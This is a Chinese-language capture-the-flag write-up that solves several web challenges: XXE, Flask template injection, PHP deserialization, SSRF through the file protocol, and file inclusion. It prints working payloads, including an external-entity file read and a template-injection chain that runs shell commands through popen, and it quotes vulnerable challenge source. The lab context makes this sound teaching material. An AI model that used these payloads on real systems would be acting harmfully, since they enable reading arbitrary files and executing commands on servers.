web 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class User { public $username = 'admin' ; public $password = 'secure_password' ; } $a = new User ();echo base64_encode (serialize ($a ))."\n" ;
EXX 不是”恶心心” 是 xxe 漏洞
查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <script type="text/javascript"> function doLogin(){ var username = $("#username").val(); var password = $("#password").val(); if(username == "" || password == ""){ alert("Please enter the username and password!"); return; } var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; $.ajax({ type: "POST", url: "doLogin.php", contentType: "application/xml;charset=utf-8", data: data, dataType: "xml", anysc: false, success: function (result) { var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue; var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue; if(code == "0"){ $(".msg").text(msg + " login fail!"); }else if(code == "1"){ $(".msg").text(msg + " login success!"); }else{ $(".msg").text("error:" + msg); } }, error: function (XMLHttpRequest,textStatus,errorThrown) { $(".msg").text(errorThrown + ':' + textStatus); } }); </script>
输出的是 49 说明存在 XXE 漏洞
payload 抓包改就行
1 2 3 4 5 <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <user><username>&xxe;</username><password>&xxe;</password></user>
一个池子 看到有师傅用的插件直接给 WEB 框架什么的查出来了 (Flask 3.03)
SSTI 漏洞
输入 回显空 ( <—code—> 包裹了 )
输入 49 回显 49 确定
构造 payload 没有过滤
1 2 {{''.__class__.__mro__[1].__subclasses__() [137].__init__.__globals__['popen']('cat /flag').read()}}
''.__class__
: 空字符串的类,即str
类。
.__mro__
: 类的 MRO(方法解析顺序)列表,这是一个元组,包含了类的继承链。
[1]
: 访问 MRO 列表的第二个元素,object
类。
__subclasses__()
: object
类的所有子类。
.__init__
: 该类的__init__
方法,这是类的构造函数。
.__globals__
: __init__
方法的全局变量字典。
['popen']
: 访问全局变量字典中的popen
键,这是 Python 标准库os
模块中的一个函数,用于执行 shell 命令。
('cat /flag').read()
: 使用popen
执行命令,并读取其输出。
SAS - Serializing Authentication System 怎么好像改了名字
简单的反序列化 , 题目的意思应该是反序列化函数就是 $user = unserialize(base64($input)) ; 这样
传入$input 就好
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class User { public $username = 'admin'; public $password = 'secure_password'; } $a = new User(); echo base64_encode(serialize($a))."\n";
浏览器也能套娃 当时看到这个觉得还真是神奇
只能放 url 试了一下百度什么的访问不到 但是放容器 url 可以访问, 也就是访问本地的
payload 上 file 协议访问就好了 同样没有过滤
高亮主题(划掉)背景查看器 给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php // 文件包含漏洞演示 if (isset($_GET['url'])) { // 读取并包含用户输入的文件 $file = $_GET['url']; if (strpos($file, '..') === false) { include $file; } else { echo "Access denied."; } } else { echo "No file specified."; }